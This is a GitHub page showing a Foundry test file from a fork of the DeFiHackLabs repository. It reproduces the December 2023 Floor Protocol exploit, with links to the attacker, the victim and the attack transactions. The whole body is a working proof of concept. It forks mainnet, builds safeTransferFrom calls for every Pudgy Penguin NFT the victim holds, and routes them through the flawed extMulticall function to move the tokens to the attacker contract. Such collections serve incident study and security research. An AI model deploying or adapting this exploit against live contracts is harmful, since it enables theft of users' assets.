forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
FloorProtocol_exp.sol
102 lines (89 loc) · 3.38 KB
/
FloorProtocol_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~1,6M
// Attacker : https://etherscan.io/address/0x4d0d746e0f66bf825418e6b3def1a46ec3c0b847
// Attack Contract : https://etherscan.io/address/0x7e5433f02f4bf07c4f2a2d341c450e07d7531428
// Vulnerable Contract : https://etherscan.io/address/0xc538d17a6aacc5271be5f51b891e2e92c8187edd
// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xec8f6d8e114caf8425736e0a3d5be2f93bbea6c01a50a7eeb3d61d2634927b40
// Other attack txs: https://explorer.phalcon.xyz/tx/eth/0xfb9942a119c45adab3980639cd829e57b41449e3b82d610892da4bb921e81d9c
// https://explorer.phalcon.xyz/tx/eth/0xa329b27fbe0f7b7f92060a9e5370fdf03d60e5c4835f09d7234e5bbecf417ccf
// @Analysis
// https://protos.com/floor-protocol-exploited-bored-apes-and-pudgy-penguins-gone/
// https://twitter.com/0xfoobar/status/1736190355257627064
// https://defimon.xyz/exploit/mainnet/0x7e5433f02f4bf07c4f2a2d341c450e07d7531428
interface IPPGToken is IERC721 {
function tokenOfOwnerByIndex(
address owner,
uint256 index
) external view returns (uint256);
}
interface IERC1967Proxy {
struct CallData {
address target;
bytes callData;
}
function extMulticall(
CallData[] memory calls
) external returns (bytes[] memory);
}
contract ContractTest is Test {
IPPGToken private constant PPG =
IPPGToken(0xBd3531dA5CF5857e7CfAA92426877b022e612cf8);
IERC1967Proxy private constant ERC1967Proxy =
IERC1967Proxy(0x49AD262C49C7aA708Cc2DF262eD53B64A17Dd5EE);
address private constant victim =
0xe5442aE87E0fEf3F7cc43E507adF786c311a0529;
function setUp() public {
vm.createSelectFork("mainnet", 18802287);
vm.label(address(PPG), "PPG");
vm.label(address(ERC1967Proxy), "ERC1967Proxy");
vm.label(victim, "victim");
}
function testExploit() public {
emit log_named_uint(
"Victim PPG token balance before attack",
PPG.balanceOf(victim)
);
emit log_named_uint(
"Attacker PPG token balance before attack",
PPG.balanceOf(address(this))
);
IERC1967Proxy.CallData[] memory calls = new IERC1967Proxy.CallData[](
PPG.balanceOf(victim)
);
for (uint256 i; i < PPG.balanceOf(victim); ++i) {
uint256 id = PPG.tokenOfOwnerByIndex(victim, i);
bytes memory data = abi.encodeWithSignature(
"safeTransferFrom(address,address,uint256)",
victim,
address(this),
id
);
IERC1967Proxy.CallData memory callData = IERC1967Proxy.CallData({
target: address(PPG),
callData: data
});
calls[i] = callData;
}
// Flawed function
ERC1967Proxy.extMulticall(calls);
emit log_named_uint(
"Victim PPG token balance after attack",
PPG.balanceOf(victim)
);
emit log_named_uint(
"Attacker PPG token balance after attack",
PPG.balanceOf(address(this))
);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
}